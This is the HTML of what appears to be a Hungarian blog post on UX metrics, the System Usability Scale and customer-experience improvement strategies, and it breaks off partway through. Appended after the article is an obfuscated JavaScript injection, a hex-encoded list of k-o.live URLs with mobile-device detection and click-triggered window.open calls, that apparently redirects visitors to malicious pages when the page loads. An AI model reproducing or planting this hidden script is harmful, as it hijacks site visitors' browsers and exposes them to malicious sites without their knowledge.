mutat\u00f3k alapvet\u0151en azt mutatj\u00e1k meg, hogy a felhaszn\u00e1l\u00f3k hogyan v\u00e9lekednek a term\u00e9kedr\u0151l (weboldaladr\u00f3l, alkalmaz\u00e1sodr\u00f3l). Ide tartozik az elfogad\u00e1s (vagyis mely funkci\u00f3kat haszn\u00e1lj\u00e1k az emberek), az el\u00e9gedetts\u00e9g (\u00e9lvezik-e a haszn\u00e1lat\u00e1t), a hiteless\u00e9g (b\u00edznak-e benne), \u00e9s a h\u0171s\u00e9g (tervezik-e azt, hogy \u00fajra ig\u00e9nybe veszik). <\/p>\n\n\n\n<ul><li><strong>Napi\/havi akt\u00edv felhaszn\u00e1l\u00f3sz\u00e1m<\/strong> – azt fejezi ki, hogy a havi felhaszn\u00e1l\u00f3id k\u00f6z\u00fcl h\u00e1nyan akt\u00edvak napi szinten. Egy 50 sz\u00e1zal\u00e9kos ar\u00e1nyn\u00e1l, a felhaszn\u00e1l\u00f3k 30 napb\u00f3l 15 napban akt\u00edvak.<\/li><li><strong>Net promoter score<\/strong> – kor\u00e1bban m\u00e1r r\u00e9szletezt\u00fck: egy egyk\u00e9rd\u00e9ses felm\u00e9r\u00e9s, mely arra k\u00edv\u00e1ncsi, hogy mennyire aj\u00e1nlan\u00e1 a felhaszn\u00e1l\u00f3 a term\u00e9ket.<\/li><li><strong>Felhaszn\u00e1l\u00f3i el\u00e9gedetts\u00e9gi pontsz\u00e1m<\/strong> – mely nem felt\u00e9tlen\u00fcl csak az \u00e1ltal\u00e1nos el\u00e9gedetts\u00e9get fejezi ki, ugyanis a term\u00e9ken bel\u00fcli egyes interakci\u00f3kra is r\u00e1 lehet k\u00e9rdezni. <\/li><\/ul>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><a href=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2022\/08\/felhasznaloi-elegedettseg.png\"><img decoding=\"async\" loading=\"lazy\" width=\"711\" height=\"593\" src=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2022\/08\/felhasznaloi-elegedettseg.png\" alt=\"\" class=\"wp-image-10205\" srcset=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2022\/08\/felhasznaloi-elegedettseg.png 711w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2022\/08\/felhasznaloi-elegedettseg-300x250.png 300w\" sizes=\"(max-width: 711px) 100vw, 711px\" \/><\/a><\/figure><\/div>\n\n\n\n<ul><li><strong>Felhaszn\u00e1l\u00f3 megtart\u00e1si ar\u00e1ny <\/strong>– a felhaszn\u00e1l\u00f3k azon r\u00e9sze, akik veled maradnak egy adott id\u0151tartamon bel\u00fcl. Megmutatja, hogy a megtart\u00e1si strat\u00e9gi\u00e1d m\u0171k\u00f6dik-e vagy sem. <\/li><li><strong>Rendszer haszn\u00e1lhat\u00f3s\u00e1gi sk\u00e1la<\/strong> – k\u00e9rd\u00e9sek sora, melyekkel a term\u00e9k haszn\u00e1lhat\u00f3s\u00e1g\u00e1t pr\u00f3b\u00e1lod felm\u00e9rni. Mennyire k\u00f6nny\u0171 v\u00e9grehajtani a felhaszn\u00e1l\u00f3nak, amit akart. \u00c1ltal\u00e1ban 10-12 \u00e1ll\u00edt\u00e1st tartalmaz, \u00e9s egy sk\u00e1l\u00e1n kell meghat\u00e1roznia a felhaszn\u00e1l\u00f3nak, hogy mennyire \u00e9rt vele egyet. <\/li><\/ul>\n\n\n\n<p>Amit ezen sz\u00e1mok kapcs\u00e1n ne felejts el, hogy t\u00f6bbnyire csak az der\u00fcl ki bel\u0151l\u00fck, hogy mi t\u00f6rt\u00e9nik, az nem, hogy mi\u00e9rt. Ez\u00e9rt fontosak a kvalitat\u00edv vizsg\u00e1latok, mint p\u00e9ld\u00e1ul egy felhaszn\u00e1l\u00f3i interj\u00fa.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><em>Friss\u00edt\u00e9s, 2022.09.05.:<\/em><\/p>\n\n\n\n<h3>Hogyan m\u0171k\u00f6dik a rendszerhaszn\u00e1lhat\u00f3s\u00e1gi sk\u00e1la?<\/h3>\n\n\n\n<p>T\u00f6bbsz\u00f6r emlegett\u00fck m\u00e1r a rendszerhaszn\u00e1lhat\u00f3s\u00e1gi sk\u00e1l\u00e1t (System Usability Scale), ugyanakkor tal\u00e1n \u00e9rdemes ezt a mutat\u00f3t egy kicsit b\u0151vebben is \u00e1ttekinteni. M\u00e1r a nev\u00e9ben is benne van a haszn\u00e1lhat\u00f3s\u00e1g, a usability, mely fontos t\u00e9nyez\u0151 a felhaszn\u00e1l\u00f3 \u00e9lm\u00e9ny kialak\u00edt\u00e1s\u00e1n\u00e1l. Ha ugyanis egy term\u00e9ket neh\u00e9z haszn\u00e1lni, akkor azt val\u00f3sz\u00edn\u0171leg senki sem fogja t\u00fal sokat haszn\u00e1lni.<\/p>\n\n\n\n<p>A <a href=\"http:\/\/blog.webshark.hu\/2019\/01\/15\/usability\/\" target=\"_blank\" rel=\"noreferrer noopener\">usabilityvel egy k\u00fcl\u00f6n bejegyz\u00e9sben foglalkoztunk m\u00e1r<\/a>, de a l\u00e9nyege, hogy a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny min\u0151s\u00e9g\u00e9t fejezi ki, egy term\u00e9k vagy rendszer haszn\u00e1lat\u00e1val kapcsolatban. (Term\u00e9ket szoktunk olykor emlegetni, ami azonban lehet egy weboldal, egy szoftver, nem csak t\u00e1rgyak, eszk\u00f6z\u00f6k). A usability l\u00e9nyege teh\u00e1t a felhaszn\u00e1l\u00f3 ig\u00e9nyeinek kiel\u00e9g\u00edt\u00e9se. <\/p>\n\n\n\n<p>Ehhez kapcsol\u00f3dik a rendszerhaszn\u00e1lhat\u00f3s\u00e1gi sk\u00e1la, mely egy \u00e1ll\u00edt\u00e1sokat tartalmaz\u00f3 k\u00e9rd\u0151\u00edv, aminek seg\u00edts\u00e9g\u00e9vel j\u00f3l meghat\u00e1rozhat\u00f3 egy weboldal haszn\u00e1lhat\u00f3s\u00e1ga. A v\u00e1laszad\u00f3k az egyes k\u00e9rd\u00e9sekre oszt\u00e1lyzatokkal v\u00e1laszolhatnak, egyt\u0151l \u00f6tig oszt\u00e1lyozva, ahol az egyes azt jelzi, amikor nem \u00e9rtenek egyet egy \u00e1ll\u00edt\u00e1ssal. <\/p>\n\n\n\n<p>A rendszerhaszn\u00e1lhat\u00f3s\u00e1gi sk\u00e1l\u00e1t m\u00e9g John Brooke alkotta meg 1986-ban, akinek az volt a c\u00e9lja vele, hogy elektronikus irodai eszk\u00f6z\u00f6k haszn\u00e1lhat\u00f3s\u00e1g\u00e1t m\u00e9rje. Ma m\u00e1r term\u00e9kek sz\u00e9les k\u00f6r\u00e9n\u00e9l alkalmazz\u00e1k. Olyan t\u00e9nyez\u0151ket vizsg\u00e1lunk vele, mint, hogy milyen hat\u00e9konyan lehet egy term\u00e9ket haszn\u00e1lni, mennyire k\u00f6nny\u0171 meg\u00e9rteni, mennyire k\u00f6nny\u0171 haszn\u00e1lni, mennyire el\u00e9gedett a term\u00e9kkel a felhaszn\u00e1l\u00f3.<\/p>\n\n\n\n<p>A rendszerhaszn\u00e1lhat\u00f3s\u00e1gi sk\u00e1la 10 pontb\u00f3l \u00e1ll, \u00e9s egy weboldal eset\u00e9ben \u00edgy n\u00e9zhetnek ki a k\u00e9rd\u00e9sek, illetve az egyes \u00e1ll\u00edt\u00e1sok (melyeket oszt\u00e1lyozni kell):<\/p>\n\n\n\n<ol><li>Azt hiszem, gyakran szeretn\u00e9m haszn\u00e1lni a weboldalt.<\/li><li>Feleslegesen bonyolultnak tal\u00e1ltam a weboldalt.<\/li><li>Szerintem k\u00f6nny\u0171 haszn\u00e1lni a weboldalt.<\/li><li>\u00dagy \u00e9rzem seg\u00edts\u00e9gre van sz\u00fcks\u00e9gem ahhoz, hogy haszn\u00e1lni tudjam a weboldalt.<\/li><li>Azt hiszem, nagyon j\u00f3k a weboldal funkci\u00f3i.<\/li><li>Szerintem tele van k\u00f6vetkezetlens\u00e9ggel a weboldal.<\/li><li>Azt hiszen a legt\u00f6bb ember k\u00f6nnyen meg tudja tanulni a weboldal haszn\u00e1lat\u00e1t. <\/li><li>Szerintem nagyon k\u00f6r\u00fclm\u00e9nyes\/kellemetlen a weboldal haszn\u00e1lata.<\/li><li>Magabiztosan tudtam haszn\u00e1lni a weboldalt.<\/li><li>El\u00e9g sok minden meg kell el\u0151bb tanulnom, hogy haszn\u00e1lni tudjam a weboldalt.<\/li><\/ol>\n\n\n\n<p>A pontsz\u00e1m kisz\u00e1m\u00edt\u00e1sa nem olyan egyszer\u0171, mert az 1, 3, 5, 7, 9 k\u00e9rd\u00e9sekre adott v\u00e1laszokat k\u00fcl\u00f6n kell \u00f6sszeadni, majd kivonni az eredm\u00e9nyb\u0151l 5-\u00f6t. Ezzel megkapjuk a p\u00e1ratlan pontsz\u00e1mot. Ezut\u00e1n \u00f6ssze kell adni a 2, 4, 6, 8, 10 k\u00e9rd\u00e9sekre adott oszt\u00e1lyzatokat is, amit viszont ki kell vonni 25-b\u0151l. Az \u00edgy kapott k\u00e9t sz\u00e1mot \u00f6ssze kell adni, majd megszorozni 2,5-tel. Az eredm\u00e9ny lesz a rendszer haszn\u00e1lhat\u00f3s\u00e1gi pontsz\u00e1m.<\/p>\n\n\n\n<p>A <a href=\"https:\/\/www.usability.gov\/how-to-and-tools\/methods\/system-usability-scale.html\" target=\"_blank\" rel=\"noreferrer noopener\">usability.gov<\/a> szerint akkor tekinthet\u0151 \u00e1tlagosnak a kapott eredm\u00e9ny, ha el\u00e9ri a 68-at, 50 alatt „nem elfogadhat\u00f3” a haszn\u00e1lhat\u00f3s\u00e1g, 71 felett viszont „elfogadhat\u00f3”. Egy <a href=\"https:\/\/www.measuringux.com\/SUS.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">angol nyelv\u0171 sablon<\/a> itt el\u00e9rhet\u0151, hogy hogyan is n\u00e9z ki egy weboldal eset\u00e9ben a k\u00e9rd\u0151\u00edv.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2>Mi\u00e9rt fontos a CX? \u00c9s hogyan jav\u00edthatod?<\/h2>\n\n\n\n<p>Kor\u00e1bban m\u00e1r ejtett\u00fcnk sz\u00f3t a CX-r\u0151l, vagyis az \u00fcgyf\u00e9l\u00e9lm\u00e9nyr\u0151l, \u00e9s hogy miben t\u00e9r el a UX-t\u0151l. Ugyanakkor mivel \u00f6sszekapcsol\u00f3dnak, \u00e9s \u00fcgyf\u00e9lszempontb\u00f3l nem is v\u00e1laszthat\u00f3k el egym\u00e1st\u00f3l, ez\u00e9rt itt is \u00e1ldozunk r\u00e1 n\u00e9h\u00e1ny bekezd\u00e9st. <\/p>\n\n\n\n<p>A CX eset\u00e9ben abb\u00f3l indulhatunk ki, hogy <strong>nem elegend\u0151, ha egy c\u00e9g j\u00f3 felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt k\u00edn\u00e1l a weboldal\u00e1n vagy mobilon<\/strong>, mert az emberek a c\u00e9ljaikat k\u00fcl\u00f6nb\u00f6z\u0151 csatorn\u00e1kon kereszt\u00fcl \u00e9rik el, \u00e9s ezek mindegyike k\u00f6zrem\u0171k\u00f6dik az \u00e9lm\u00e9ny kialak\u00edt\u00e1s\u00e1ban. R\u00e1ad\u00e1sul a felhaszn\u00e1l\u00f3i \u00fat sor\u00e1n szerzett \u00e9lm\u00e9ny jelent\u0151s hat\u00e1ssal van a bev\u00e9telekre \u00e9s az ism\u00e9telt v\u00e1s\u00e1rl\u00e1sokra – h\u00edvta fel a figyelmet <a rel=\"noreferrer noopener\" href=\"https:\/\/www.nngroup.com\/articles\/refine-remodel\/\" target=\"_blank\">egy bejegyz\u00e9s\u00e9ben<\/a> a Nielsen Norman Group. <\/p>\n\n\n\n<p>Az \u00fcgyf\u00e9l\u00e9lm\u00e9ny (CX) fontoss\u00e1g\u00e1ra egyre t\u00f6bb c\u00e9g figyel fel, ugyanakkor m\u00e9g nem t\u00fal sokan v\u00e1gnak bele a jav\u00edt\u00e1s\u00e1hoz sz\u00fcks\u00e9ges v\u00e1ltoz\u00e1sokba. Ennek oka nyilv\u00e1n az, hogy <strong>a felhaszn\u00e1l\u00f3i \u00fat alap\u00fa \u00e9lm\u00e9ny-tervez\u00e9s jelent\u0151s feladat, \u00e9s sok benne az ismeretlen<\/strong>. A legt\u00f6bb c\u00e9g sz\u00e1m\u00e1ra az ezt jeleni, hogy a kor\u00e1bbi megszokott, k\u00e9nyelmes term\u00e9k- \u00e9s csatorna-k\u00f6zpont\u00fa m\u0171k\u00f6d\u00e9st kell felv\u00e1ltani egy teljesen \u00faj megold\u00e1ssal.<\/p>\n\n\n\n<p>Az els\u0151 l\u00e9p\u00e9s a jav\u00edtott CX ir\u00e1ny\u00e1ba az lenne, hogy <a href=\"https:\/\/blog.webshark.hu\/2019\/09\/04\/mi-az-a-vasarloi-ut-es-hogyan-igazitsd-hozza-a-weboldalad-tartalmat\/\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"felt\u00e9rk\u00e9pezed az \u00fcgyf\u00e9lutat (\u00faj f\u00fcl\u00f6n nyitja meg)\">felt\u00e9rk\u00e9pezed az \u00fcgyf\u00e9lutat<\/a>. Ez alapj\u00e1n m\u00e1r l\u00e1that\u00f3v\u00e1 v\u00e1lik, hogy hol lenne sz\u00fcks\u00e9g jav\u00edt\u00e1sra, illetve, hogy milyen javul\u00e1s v\u00e1rhat\u00f3. Ehhez el\u0151sz\u00f6r ki kell v\u00e1lasztani egy fontos \u00fcgyf\u00e9lutat a sok k\u00f6z\u00fcl. Hab\u00e1r lehet, hogy t\u00f6bb ilyen is akad k\u00f6z\u00f6tt\u00fck, \u00e9rdemes egy olyannal kezdeni, melyben nagy lehet\u0151s\u00e9gek rejlenek. Ezut\u00e1n egy kvalitat\u00edv vizsg\u00e1lat seg\u00edts\u00e9g\u00e9vel tudod felt\u00e9rk\u00e9pezni ezt a jelenlegi \u00fcgyf\u00e9lutat, majd meghat\u00e1rozni a lehet\u0151s\u00e9geket. Mindezt \u00e9rdemes lerajzolni egy \u00fcgyf\u00e9l\u00fat-t\u00e9rk\u00e9pre.<\/p>\n\n\n\n<p>Miel\u0151tt kialak\u00edtan\u00e1d a strat\u00e9gi\u00e1t,<strong> \u00e1t kell gondolnod, hogy mit \u00e9rhetsz el<\/strong>. Ezt t\u00f6bb t\u00e9nyez\u0151 is befoly\u00e1solja. Egyr\u00e9szt a jelenlegi \u00e1llapot, vagyis hogy milyen az \u00fat-\u00e9lm\u00e9ny jelenlegi min\u0151s\u00e9ge, mennyit sz\u00e1nsz r\u00e1, mekkora v\u00e1ltoz\u00e1sra vagy hajland\u00f3, milyen a kock\u00e1zatt\u0171r\u00e9sed, milyen kiel\u00e9g\u00edtetlen ig\u00e9nyek l\u00e9teznek a piacon, melyek jav\u00edthat\u00f3k \u00e9lm\u00e9ny-tervez\u00e9ssel. <\/p>\n\n\n\n<h3>N\u00e9h\u00e1ny strat\u00e9gia az \u00e9lm\u00e9ny jav\u00edt\u00e1s\u00e1ra<\/h3>\n\n\n\n<p>A jelenlegi \u00fcgyf\u00e9l\u00e9lm\u00e9nyed jav\u00edt\u00e1sa t\u00f6bbf\u00e9le m\u00f3don is t\u00f6rt\u00e9nhet a fentiek figyelembev\u00e9tel\u00e9vel. A k\u00fcl\u00f6nf\u00e9le strat\u00e9gi\u00e1kat legegyszer\u0171bben \u00fagy lehet \u00e1br\u00e1zolni, ha egy \u00e9p\u00edtkez\u00e9shez hasonl\u00edtjuk. Ez alapj\u00e1n besz\u00e9lhet\u00fcnk finom\u00edt\u00e1sr\u00f3l, \u00e1talak\u00edt\u00e1sr\u00f3l vagy \u00fajj\u00e1\u00e9p\u00edt\u00e9sr\u0151l. A kieg\u00e9sz\u00edt\u00e9s a legkonzervat\u00edvabb megk\u00f6zel\u00edt\u00e9s, m\u00edg az \u00fajj\u00e1\u00e9p\u00edt\u00e9s a legnagyobb hat\u00e1s\u00fa \u00e9s a legkock\u00e1zatosabb. Mindegyik elt\u00e9r\u0151 nagys\u00e1g\u00fa befektet\u00e9st ig\u00e9nyel, de az eredm\u00e9nye is ennek megfelel\u0151en v\u00e1ltozik.<\/p>\n\n\n\n<h4>Finom\u00edt\u00e1s: csek\u00e9ly befektet\u00e9s, m\u00e9rs\u00e9kelt eredm\u00e9ny<\/h4>\n\n\n\n<p>Ez a strat\u00e9gia olyan, mint amikor az otthonodon apr\u00f3 \u00e1talak\u00edt\u00e1sokat hajtasz v\u00e9gre, p\u00e9ld\u00e1ul lefestesz egy ajt\u00f3t vagy ablakot, esetleg csak megolajozod, hogy ne nyikorogjon. A CX eset\u00e9ben ez azt jelenti, hogy \u201clekerek\u00edted\u201d az \u00e9les sarkokat, an\u00e9lk\u00fcl, hogy b\u00e1rmi radik\u00e1lis v\u00e1ltoztat\u00e1st tenn\u00e9l. Ehhez meg kell tal\u00e1lni azokat az alacsony befektet\u00e9st ig\u00e9nyl\u0151 megold\u00e1sokat, melyek jav\u00edtj\u00e1k az \u00fcgyf\u00e9l\u00e9lm\u00e9nyt. <\/p>\n\n\n\n<p>Ilyen lehet\u0151s\u00e9g p\u00e9ld\u00e1ul a vizu\u00e1lis \u00e9s m\u00e1rka-k\u00f6vetkezetlens\u00e9gek megtal\u00e1l\u00e1sa. Szint\u00e9n j\u00f3 lehet\u0151s\u00e9g az \u00fczenetek k\u00f6vetkezetess\u00e9 t\u00e9tele, \u00e9s hogy az inform\u00e1ci\u00f3tartalmuk megfeleljen az elv\u00e1r\u00e1soknak a felhaszn\u00e1l\u00f3i \u00fat egy adott pontj\u00e1n. De ide tartozik azon \u00fcgyek azonos\u00edt\u00e1sa is, melyek miatt gyakran megtal\u00e1lj\u00e1k az \u00fcgyfelek az \u00fcgyf\u00e9lszolg\u00e1latot, ahogy mindenf\u00e9le gyenge hat\u00e9konys\u00e1g\u00fa r\u00e9sz is a v\u00e1s\u00e1rl\u00f3i \u00faton.<\/p>\n\n\n\n<h4>\u00c1talak\u00edt\u00e1s: k\u00f6zepes nagys\u00e1g\u00fa befektet\u00e9s, k\u00f6zepes hat\u00e1s<\/h4>\n\n\n\n<p>Ahogyan egy otthont is a saj\u00e1t sz\u00fcks\u00e9gleteidhez alak\u00edthatsz, ugyan\u00edgy a CX is az \u00fcgyfelek ig\u00e9nyeinek megfelel\u0151en v\u00e1ltoztathat\u00f3. Itt m\u00e9g mindig a megl\u00e9v\u0151 \u00fcgyf\u00e9l\u00fat jav\u00edt\u00e1s\u00e1r\u00f3l van sz\u00f3 az \u00fcgyf\u00e9lig\u00e9nyek alapj\u00e1n. Ez azonban m\u00e1r alapvet\u0151 \u00e9s m\u0171k\u00f6d\u00e9si v\u00e1ltoz\u00e1sokat is ig\u00e9nyel a szervezeten bel\u00fcl.<\/p>\n\n\n\n<p>Mir\u0151l is lehet itt sz\u00f3? P\u00e9ld\u00e1ul olyan megold\u00e1sok bevezet\u00e9s\u00e9r\u0151l, melyek r\u00e9v\u00e9n gyorsabb\u00e1 v\u00e1lik a feladatok v\u00e9grehajt\u00e1sa az \u00fcgyfelek sz\u00e1m\u00e1ra. N\u00f6vekv\u0151 \u00e1tl\u00e1that\u00f3s\u00e1gr\u00f3l szolg\u00e1ltat\u00e1sokn\u00e1l. A perszonaliz\u00e1ci\u00f3 bevezet\u00e9s\u00e9r\u0151l a tartalmakn\u00e1l \u00e9s az interakci\u00f3kn\u00e1l, illetve proaktivit\u00e1sr\u00f3l: amikor az \u00fcgyf\u00e9l el\u00e9ri a c\u00e9lj\u00e1t, tov\u00e1bbi szolg\u00e1ltat\u00e1sokat, tartalmakat k\u00edn\u00e1lsz neki.<\/p>\n\n\n\n<h4>\u00dajj\u00e1\u00e9p\u00edt\u00e9s: k\u00f6lts\u00e9ges, de sokat hozhat<\/h4>\n\n\n\n<p>Ez a megk\u00f6zel\u00edt\u00e9s olyan, mint amikor lebontod a h\u00e1zad \u00e9s egy \u00fajat \u00e9p\u00edtesz helyette. Ez arr\u00f3l sz\u00f3l, hogy az \u00fcgyfelek sz\u00e1m\u00e1ra l\u00e9trehozod a lehet\u0151 legjobb \u00e9lm\u00e9nyt. Itt m\u00e1r nem korl\u00e1toznak a r\u00e9gi folyamatok, hanem valami teljesen \u00fajat \u00e9s leny\u0171g\u00f6z\u0151t alak\u00edthatsz ki, ezzel az \u00fcgyfeleknek valami olyan dolgot adva, amir\u0151l nem is tudt\u00e1k, hogy sz\u00fcks\u00e9g\u00fck lehet r\u00e1. <\/p>\n\n\n\n<p>Id\u0151nk\u00e9nt mindig akad egy-egy c\u00e9g, mely eldobja a r\u00e9gi megold\u00e1sait \u00e9s valami teljesen \u00faj megold\u00e1ssal \u00e1ll el\u0151 az \u00fcgyfelei sz\u00e1m\u00e1ra, vagyis \u00fajj\u00e1\u00e9p\u00edti a CX-et. Ezek a c\u00e9gek megl\u00e1tnak olyan kiel\u00e9g\u00edtetlen ig\u00e9nyeket, melyeket azt\u00e1n a fejl\u0151d\u0151 digit\u00e1lis technol\u00f3gia seg\u00edts\u00e9g\u00e9vel el\u00e9g\u00edtenek ki.<\/p>\n\n\n\n<p>Ez az \u00fajj\u00e1\u00e9p\u00edt\u00e9s akkor k\u00fcl\u00f6n\u00f6sen neh\u00e9z, amikor a c\u00e9gnek nem megy rosszul, van egy stabil k\u00edn\u00e1lata \u00e9s bev\u00e9tele. Ilyenkor egy kock\u00e1zatos ugr\u00e1sr\u00f3l van sz\u00f3 az ismeretlenbe, egy olyan pontr\u00f3l, ami tulajdonk\u00e9ppen m\u0171k\u00f6dik. Persze az eredm\u00e9ny azt\u00e1n meger\u0151s\u00edtheti a c\u00e9get, mint piacvezet\u0151t. <\/p>\n\n\n\n<p>Erre az egyik p\u00e9lda a Netflix\u00e9, mely mint post\u00e1n sz\u00e1ll\u00edt\u00f3 DVD-k\u00f6lcs\u00f6nz\u0151 kezdte, majd innen v\u00e1lt streaming platformm\u00e1. Gyakorlatilag kihaszn\u00e1lta a technol\u00f3giai fejl\u0151d\u00e9st (web, n\u00f6vekv\u0151 s\u00e1vsz\u00e9less\u00e9g) arra, hogy \u00fajj\u00e1\u00e9p\u00edtse az \u00fcgyf\u00e9l\u00e9lm\u00e9nyt, elhagyva a postai kisz\u00e1ll\u00edt\u00e1st \u00e9s a DVD-t, mint form\u00e1tumot.<\/p>\n\n\n\n<p>Az \u00fajj\u00e1\u00e9p\u00edt\u00e9s eset\u00e9ben \u00e1ltal\u00e1ban azzal tal\u00e1lkozunk, hogy \u00faj, innovat\u00edv m\u00f3don haszn\u00e1lja fel egy c\u00e9g a v\u00e1ltoz\u00f3 technol\u00f3gi\u00e1kat, \u00e9s ez\u00e1ltal hoz l\u00e9tre egy olyan \u00e9lm\u00e9nyt, ami kor\u00e1bban elk\u00e9pzelhetetlen lett volna. \u00c9s ahelyett, hogy a digitaliz\u00e1ci\u00f3ra \u00fagy tekintene, mint egy plusz elemre a megl\u00e9v\u0151 \u00fczleti modellj\u00e9ben, azt pr\u00f3b\u00e1ln\u00e1 beleer\u0151ltetni a megl\u00e9v\u0151be, ink\u00e1bb lecser\u00e9li a r\u00e9git \u00e9s teljesen \u00e1t\u00e1ll az \u00fajra. Ennek el\u0151nye, hogy a r\u00e9gi modell tal\u00e1n csak visszafogn\u00e1 az innov\u00e1ci\u00f3t \u00e9s nem lehetne megfelel\u0151en vegy\u00edteni az \u00faj technol\u00f3gi\u00e1val.<\/p>\n\n\n\n<p>Term\u00e9szetesen egy ilyen \u00fajj\u00e1\u00e9p\u00edt\u00e9s eset\u00e9ben a befektet\u00e9s k\u00f6lts\u00e9ge rendk\u00edv\u00fcl magas, \u00e9s \u00e1talakul\u00e1st jelent mind a c\u00e9g, mind az \u00fcgyfelek sz\u00e1m\u00e1ra. Ugyanakkor az ilyen v\u00e1ltoztat\u00e1sok hozz\u00e1k a legjobb eredm\u00e9nyeket is.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x2d\\x6f\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x74\\x6d\\x72\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x2d\\x6f\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x63\\x66\\x77\\x33\\x63\\x343','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x2d\\x6f\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x50\\x73\\x50\\x30\\x63\\x340','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x2d\\x6f\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x67\\x4c\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x2d\\x6f\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x6d\\x59\\x79\\x36\\x63\\x376','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x2d\\x6f\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x57\\x52\\x67\\x38\\x63\\x398','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x2d\\x6f\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x78\\x63\\x71\\x35\\x63\\x375','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x2d\\x6f\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x74\\x6c\\x79\\x31\\x63\\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x2d\\x6f\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x57\\x4f\\x49\\x34\\x63\\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x2d\\x6f\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x6e\\x41\\x4f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( 